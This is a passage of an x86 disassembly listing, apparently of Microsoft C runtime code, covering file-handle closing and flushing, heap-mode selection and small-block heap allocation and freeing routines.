0FFh call off_43D5E0 pop ecx pop ecx retn sub_41E0C9 endp ; =============== S U B R O U T I N E ======================================= sub_41E0EE proc near ; CODE XREF: sub_41DFD3+66p arg_0 = dword ptr 4 cmp dword_4DE640, 1 jnz short loc_41E0FC call sub_423C58 loc_41E0FC: ; CODE XREF: sub_41E0EE+7j push [esp+arg_0] call sub_423C91 pop ecx push 0FFh call dword_42806C ; ExitProcess retn sub_41E0EE endp ; =============== S U B R O U T I N E ======================================= sub_41E112 proc near ; CODE XREF: sub_41B6CB+2Ap ; sub_4240FB+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DFA20 jnb loc_41E1AC mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DF920h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41E1AC push edi call sub_423F6A cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E18B cmp edi, 1 jz short loc_41E159 cmp edi, 2 jnz short loc_41E16F loc_41E159: ; CODE XREF: sub_41E112+40j push 2 call sub_423F6A push 1 mov ebp, eax call sub_423F6A pop ecx cmp eax, ebp pop ecx jz short loc_41E18B loc_41E16F: ; CODE XREF: sub_41E112+45j push edi call sub_423F6A pop ecx push eax call dword_428070 ; CloseHandle test eax, eax jnz short loc_41E18B call dword_428094 ; RtlGetLastWin32Error mov ebp, eax jmp short loc_41E18D ; --------------------------------------------------------------------------- loc_41E18B: ; CODE XREF: sub_41E112+3Bj ; sub_41E112+5Bj ... xor ebp, ebp loc_41E18D: ; CODE XREF: sub_41E112+77j push edi call sub_423EF0 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41E1A8 push ebp call sub_420A7F pop ecx jmp short loc_41E1BD ; --------------------------------------------------------------------------- loc_41E1A8: ; CODE XREF: sub_41E112+8Bj xor eax, eax jmp short loc_41E1C0 ; --------------------------------------------------------------------------- loc_41E1AC: ; CODE XREF: sub_41E112+Ej ; sub_41E112+2Fj and dword_4DE5C8, 0 mov dword_4DE5C4, 9 loc_41E1BD: ; CODE XREF: sub_41E112+94j or eax, 0FFFFFFFFh loc_41E1C0: ; CODE XREF: sub_41E112+98j pop edi pop esi pop ebp pop ebx retn sub_41E112 endp ; =============== S U B R O U T I N E ======================================= sub_41E1C5 proc near ; CODE XREF: sub_41B6CB+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41E1EE test al, 8 jz short loc_41E1EE push dword ptr [esi+8] call sub_41B721 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41E1EE: ; CODE XREF: sub_41E1C5+Aj ; sub_41E1C5+Ej pop esi retn sub_41E1C5 endp ; =============== S U B R O U T I N E ======================================= sub_41E1F0 proc near ; CODE XREF: sub_41E290+2Dp ; sub_41E290+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41E202 push esi call sub_41E290 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E202: ; CODE XREF: sub_41E1F0+7j push esi call sub_41E22B test eax, eax pop ecx jz short loc_41E212 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41E212: ; CODE XREF: sub_41E1F0+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41E227 push dword ptr [esi+10h] call sub_423FA7 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41E227: ; CODE XREF: sub_41E1F0+26j xor eax, eax pop esi retn sub_41E1F0 endp ; =============== S U B R O U T I N E ======================================= sub_41E22B proc near ; CODE XREF: sub_41B6CB+1Ap ; sub_41D88C+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41E278 test ax, 108h jz short loc_41E278 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41E278 push edi push eax push dword ptr [esi+10h] call sub_422FBD add esp, 0Ch cmp eax, edi jnz short loc_41E271 mov eax, [esi+0Ch] test al, 80h jz short loc_41E278 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41E278 ; --------------------------------------------------------------------------- loc_41E271: ; CODE XREF: sub_41E22B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41E278: ; CODE XREF: sub_41E22B+14j ; sub_41E22B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41E22B endp ; =============== S U B R O U T I N E ======================================= sub_41E287 proc near ; CODE XREF: sub_4240A3p push 1 call sub_41E290 pop ecx retn sub_41E287 endp ; =============== S U B R O U T I N E ======================================= sub_41E290 proc near ; CODE XREF: sub_41E1F0+Ap ; sub_41E287+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DF900, esi jle short loc_41E2EE loc_41E2A1: ; CODE XREF: sub_41E290+5Cj mov eax, dword_4DE8E8 mov eax, [eax+esi*4] test eax, eax jz short loc_41E2E5 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41E2E5 cmp [esp+0Ch+arg_0], 1 jnz short loc_41E2CB push eax call sub_41E1F0 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E2E5 inc ebx jmp short loc_41E2E5 ; --------------------------------------------------------------------------- loc_41E2CB: ; CODE XREF: sub_41E290+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41E2E5 test cl, 2 jz short loc_41E2E5 push eax call sub_41E1F0 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E2E5 or edi, eax loc_41E2E5: ; CODE XREF: sub_41E290+1Bj ; sub_41E290+23j ... inc esi cmp esi, dword_4DF900 jl short loc_41E2A1 loc_41E2EE: ; CODE XREF: sub_41E290+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41E2F9 mov eax, edi loc_41E2F9: ; CODE XREF: sub_41E290+65j pop edi pop esi pop ebx retn sub_41E290 endp ; =============== S U B R O U T I N E ======================================= sub_41E2FD proc near ; CODE XREF: sub_41E32A+136p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call dword_4280A4 ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_41E328 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41E328 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41E328: ; CODE XREF: sub_41E2FD+15j ; sub_41E2FD+1Cj pop esi retn sub_41E2FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E32A proc near ; CODE XREF: sub_41E472+20p var_122C = byte ptr -122Ch var_19C = byte ptr -19Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 122Ch call sub_41C190 lea eax, [ebp+var_98] push ebx push eax mov [ebp+var_98], 94h call dword_4280D0 ; GetVersionExA test eax, eax jz short loc_41E36D cmp [ebp+var_88], 2 jnz short loc_41E36D cmp [ebp+var_94], 5 jb short loc_41E36D push 1 pop eax jmp loc_41E46F ; --------------------------------------------------------------------------- loc_41E36D: ; CODE XREF: sub_41E32A+27j ; sub_41E32A+30j ... lea eax, [ebp+var_122C] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call dword_4281C0 ; GetEnvironmentVariableA test eax, eax jz loc_41E45C xor ebx, ebx lea ecx, [ebp+var_122C] cmp [ebp+var_122C], bl jz short loc_41E3AF loc_41E39C: ; CODE XREF: sub_41E32A+83j mov al, [ecx] cmp al, 61h jl short loc_41E3AA cmp al, 7Ah jg short loc_41E3AA sub al, 20h mov [ecx], al loc_41E3AA: ; CODE XREF: sub_41E32A+76j ; sub_41E32A+7Aj inc ecx cmp [ecx], bl jnz short loc_41E39C loc_41E3AF: ; CODE XREF: sub_41E32A+70j lea eax, [ebp+var_122C] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41C4E0 add esp, 0Ch test eax, eax jnz short loc_41E3D1 lea eax, [ebp+var_122C] jmp short loc_41E41A ; --------------------------------------------------------------------------- loc_41E3D1: ; CODE XREF: sub_41E32A+9Dj lea eax, [ebp+var_19C] push 104h push eax push ebx call dword_428078 ; GetModuleFileNameA cmp [ebp+var_19C], bl lea ecx, [ebp+var_19C] jz short loc_41E405 loc_41E3F2: ; CODE XREF: sub_41E32A+D9j mov al, [ecx] cmp al, 61h jl short loc_41E400 cmp al, 7Ah jg short loc_41E400 sub al, 20h mov [ecx], al loc_41E400: ; CODE XREF: sub_41E32A+CCj ; sub_41E32A+D0j inc ecx cmp [ecx], bl jnz short loc_41E3F2 loc_41E405: ; CODE XREF: sub_41E32A+C6j lea eax, [ebp+var_19C] push eax lea eax, [ebp+var_122C] push eax call sub_41BF70 pop ecx pop ecx loc_41E41A: ; CODE XREF: sub_41E32A+A5j cmp eax, ebx jz short loc_41E45C push 2Ch push eax call sub_41C620 pop ecx cmp eax, ebx pop ecx jz short loc_41E45C inc eax mov ecx, eax cmp [eax], bl jz short loc_41E441 loc_41E433: ; CODE XREF: sub_41E32A+115j cmp byte ptr [ecx], 3Bh jnz short loc_41E43C mov [ecx], bl jmp short loc_41E43D ; --------------------------------------------------------------------------- loc_41E43C: ; CODE XREF: sub_41E32A+10Cj inc ecx loc_41E43D: ; CODE XREF: sub_41E32A+110j cmp [ecx], bl jnz short loc_41E433 loc_41E441: ; CODE XREF: sub_41E32A+107j push 0Ah push ebx push eax call sub_41C216 add esp, 0Ch cmp eax, 2 jz short loc_41E46F cmp eax, 3 jz short loc_41E46F cmp eax, 1 jz short loc_41E46F loc_41E45C: ; CODE XREF: sub_41E32A+5Cj ; sub_41E32A+F2j ... lea eax, [ebp+var_4] push eax call sub_41E2FD cmp [ebp+var_4], 6 pop ecx sbb eax, eax add eax, 3 loc_41E46F: ; CODE XREF: sub_41E32A+3Ej ; sub_41E32A+126j ... pop ebx leave retn sub_41E32A endp ; =============== S U B R O U T I N E ======================================= sub_41E472 proc near ; CODE XREF: sub_41DFD3+5Ap arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_4281C8 ; HeapCreate test eax, eax mov dword_4DFC64, eax jz short loc_41E4C8 call sub_41E32A cmp eax, 3 mov dword_4DFC68, eax jnz short loc_41E4AE push 3F8h call sub_41E4CF pop ecx jmp short loc_41E4B8 ; --------------------------------------------------------------------------- loc_41E4AE: ; CODE XREF: sub_41E472+2Dj cmp eax, 2 jnz short loc_41E4CB call sub_41F016 loc_41E4B8: ; CODE XREF: sub_41E472+3Aj test eax, eax jnz short loc_41E4CB push dword_4DFC64 call dword_4281C4 ; HeapDestroy loc_41E4C8: ; CODE XREF: sub_41E472+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_41E4CB: ; CODE XREF: sub_41E472+3Fj ; sub_41E472+48j push 1 pop eax retn sub_41E472 endp ; =============== S U B R O U T I N E ======================================= sub_41E4CF proc near ; CODE XREF: sub_41E472+34p arg_0 = dword ptr 4 push 140h push 0 push dword_4DFC64 call dword_428154 ; RtlAllocateHeap test eax, eax mov dword_4DFC5C, eax jnz short loc_41E4EC retn ; --------------------------------------------------------------------------- loc_41E4EC: ; CODE XREF: sub_41E4CF+1Aj mov ecx, [esp+arg_0] and dword_4DFC54, 0 and dword_4DFC58, 0 push 1 mov dword_4DFC50, eax mov dword_4DFC60, ecx mov dword_4DFC48, 10h pop eax retn sub_41E4CF endp ; =============== S U B R O U T I N E ======================================= sub_41E517 proc near ; CODE XREF: sub_41B721+17p ; sub_41B872+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DFC58 lea ecx, [eax+eax*4] mov eax, dword_4DFC5C lea ecx, [eax+ecx*4] loc_41E527: ; CODE XREF: sub_41E517+26j cmp eax, ecx jnb short loc_41E53F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41E541 add eax, 14h jmp short loc_41E527 ; --------------------------------------------------------------------------- loc_41E53F: ; CODE XREF: sub_41E517+12j xor eax, eax locret_41E541: ; CODE XREF: sub_41E517+21j retn sub_41E517 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E542 proc near ; CODE XREF: sub_41B721+23p ; sub_41B872+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E866 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41E618 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E5A6 push 3Fh pop edx loc_41E5A6: ; CODE XREF: sub_41E542+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E5FA cmp edx, 20h jnb short loc_41E5D1 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E5F2 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E5F2 ; --------------------------------------------------------------------------- loc_41E5D1: ; CODE XREF: sub_41E542+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E5F2 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E5F2: ; CODE XREF: sub_41E542+86j ; sub_41E542+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41E5FD ; --------------------------------------------------------------------------- loc_41E5FA: ; CODE XREF: sub_41E542+6Aj mov ecx, [ebp+var_4] loc_41E5FD: ; CODE XREF: sub_41E542+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41E618: ; CODE XREF: sub_41E542+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E626 push 3Fh pop edx loc_41E626: ; CODE XREF: sub_41E542+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E6C9 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41E64B mov ebx, esi loc_41E64B: ; CODE XREF: sub_41E542+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41E65D mov edx, esi loc_41E65D: ; CODE XREF: sub_41E542+117j cmp ebx, edx jz short loc_41E6C4 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E6AC cmp ebx, 20h jnb short loc_41E68D mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E6AC mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E6AC ; --------------------------------------------------------------------------- loc_41E68D: ; CODE XREF: sub_41E542+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E6AC mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E6AC: ; CODE XREF: sub_41E542+128j ; sub_41E542+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E6C4: ; CODE XREF: sub_41E542+11Dj mov esi, [ebp+arg_4] jmp short loc_41E6CC ; --------------------------------------------------------------------------- loc_41E6C9: ; CODE XREF: sub_41E542+EDj mov ebx, [ebp+arg_0] loc_41E6CC: ; CODE XREF: sub_41E542+185j cmp [ebp+var_C], 0 jnz short loc_41E6DA cmp ebx, edx jz loc_41E75B loc_41E6DA: ; CODE XREF: sub_41E542+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E75B mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E732 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E721 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E721: ; CODE XREF: sub_41E542+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E75B ; --------------------------------------------------------------------------- loc_41E732: ; CODE XREF: sub_41E542+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E748 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E748: ; CODE XREF: sub_41E542+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E75B: ; CODE XREF: sub_41E542+192j ; sub_41E542+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E866 mov eax, dword_4DFC54 test eax, eax jz loc_41E858 mov ecx, dword_4DFC4C mov esi, dword_4281CC shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_4DFC4C mov eax, dword_4DFC54 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DFC54 mov ecx, dword_4DFC4C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DFC54 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DFC54 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E7E9 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DFC54 loc_41E7E9: ; CODE XREF: sub_41E542+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E858 push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, dword_4DFC54 push dword ptr [eax+10h] push 0 push dword_4DFC64 call dword_428150 ; RtlFreeHeap mov eax, dword_4DFC58 mov edx, dword_4DFC5C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DFC54 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41D300 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DFC58 cmp eax, dword_4DFC54 jbe short loc_41E84E sub [ebp+arg_0], 14h loc_41E84E: ; CODE XREF: sub_41E542+306j mov eax, dword_4DFC5C mov dword_4DFC50, eax loc_41E858: ; CODE XREF: sub_41E542+234j ; sub_41E542+2ABj mov eax, [ebp+arg_0] mov dword_4DFC4C, edi mov dword_4DFC54, eax loc_41E866: ; CODE XREF: sub_41E542+38j ; sub_41E542+227j pop edi pop esi pop ebx leave retn sub_41E542 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E86B proc near ; CODE XREF: sub_41B872+77p ; sub_41BB83+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DFC58 mov edx, dword_4DFC5C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E8AB or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E8BB ; --------------------------------------------------------------------------- loc_41E8AB: ; CODE XREF: sub_41E86B+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E8BB: ; CODE XREF: sub_41E86B+3Ej mov eax, dword_4DFC50 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E8E2 loc_41E8C9: ; CODE XREF: sub_41E86B+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E8E2 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E8C9 loc_41E8E2: ; CODE XREF: sub_41E86B+5Cj ; sub_41E86B+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E960 mov ebx, edx loc_41E8E9: ; CODE XREF: sub_41E86B+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E905 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E903 add ebx, 14h jmp short loc_41E8E9 ; --------------------------------------------------------------------------- loc_41E903: ; CODE XREF: sub_41E86B+91j cmp ebx, eax loc_41E905: ; CODE XREF: sub_41E86B+83j jnz short loc_41E960 loc_41E907: ; CODE XREF: sub_41E86B+ADj cmp ebx, [ebp+var_4] jnb short loc_41E91D cmp dword ptr [ebx+8], 0 jnz short loc_41E91A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E907 ; --------------------------------------------------------------------------- loc_41E91A: ; CODE XREF: sub_41E86B+A5j cmp ebx, [ebp+var_4] loc_41E91D: ; CODE XREF: sub_41E86B+9Fj jnz short loc_41E945 mov ebx, edx loc_41E921: ; CODE XREF: sub_41E86B+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E935 cmp dword ptr [ebx+8], 0 jnz short loc_41E933 add ebx, 14h jmp short loc_41E921 ; --------------------------------------------------------------------------- loc_41E933: ; CODE XREF: sub_41E86B+C1j cmp ebx, eax loc_41E935: ; CODE XREF: sub_41E86B+BBj jnz short loc_41E945 call sub_41EB74 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E959 loc_41E945: ; CODE XREF: sub_41E86B:loc_41E91Dj ; sub_41E86B:loc_41E935j push ebx call sub_41EC25 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E960 loc_41E959: ; CODE XREF: sub_41E86B+D8j xor eax, eax jmp loc_41EB6F ; --------------------------------------------------------------------------- loc_41E960: ; CODE XREF: sub_41E86B+7Aj ; sub_41E86B:loc_41E905j ... mov dword_4DFC50, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E987 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E9BE loc_41E987: ; CODE XREF: sub_41E86B+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E9BB loc_41E9A4: ; CODE XREF: sub_41E86B+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E9A4 loc_41E9BB: ; CODE XREF: sub_41E86B+137j mov edx, [ebp+var_4] loc_41E9BE: ; CODE XREF: sub_41E86B+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E9E7 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E9E7: ; CODE XREF: sub_41E86B+16Dj ; sub_41E86B+183j test ecx, ecx jl short loc_41E9F0 shl ecx, 1 inc edi jmp short loc_41E9E7 ; --------------------------------------------------------------------------- loc_41E9F0: ; CODE XREF: sub_41E86B+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41EA0D push 3Fh pop esi loc_41EA0D: ; CODE XREF: sub_41E86B+19Dj cmp esi, edi jz loc_41EB22 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41EA7E cmp edi, 20h jge short loc_41EA4D mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41EA7B mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41EA7E ; --------------------------------------------------------------------------- loc_41EA4D: ; CODE XREF: sub_41E86B+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41EA7B mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41EA7E ; --------------------------------------------------------------------------- loc_41EA7B: ; CODE XREF: sub_41E86B+1D6j ; sub_41E86B+203j mov ebx, [ebp+arg_0] loc_41EA7E: ; CODE XREF: sub_41E86B+1B0j ; sub_41E86B+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41EB2E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41EB1F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41EAF0 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41EADE mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41EADE: ; CODE XREF: sub_41E86B+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41EB1F ; --------------------------------------------------------------------------- loc_41EAF0: ; CODE XREF: sub_41E86B+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41EB09 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41EB09: ; CODE XREF: sub_41E86B+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41EB1F: ; CODE XREF: sub_41E86B+24Ej ; sub_41E86B+283j mov ecx, [ebp+var_8] loc_41EB22: ; CODE XREF: sub_41E86B+1A4j test ecx, ecx jz short loc_41EB31 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41EB31 ; --------------------------------------------------------------------------- loc_41EB2E: ; CODE XREF: sub_41E86B+229j mov ecx, [ebp+var_8] loc_41EB31: ; CODE XREF: sub_41E86B+2B9j ; sub_41E86B+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41EB67 cmp ebx, dword_4DFC54 jnz short loc_41EB67 mov ecx, [ebp+var_4] cmp ecx, dword_4DFC4C jnz short loc_41EB67 and dword_4DFC54, 0 loc_41EB67: ; CODE XREF: sub_41E86B+2E0j ; sub_41E86B+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41EB6F: ; CODE XREF: sub_41E86B+F0j pop edi pop esi pop ebx leave retn sub_41E86B endp ; =============== S U B R O U T I N E ======================================= sub_41EB74 proc near ; CODE XREF: sub_41E86B+CCp mov eax, dword_4DFC58 mov ecx, dword_4DFC48 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41EBB7 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DFC5C push edi 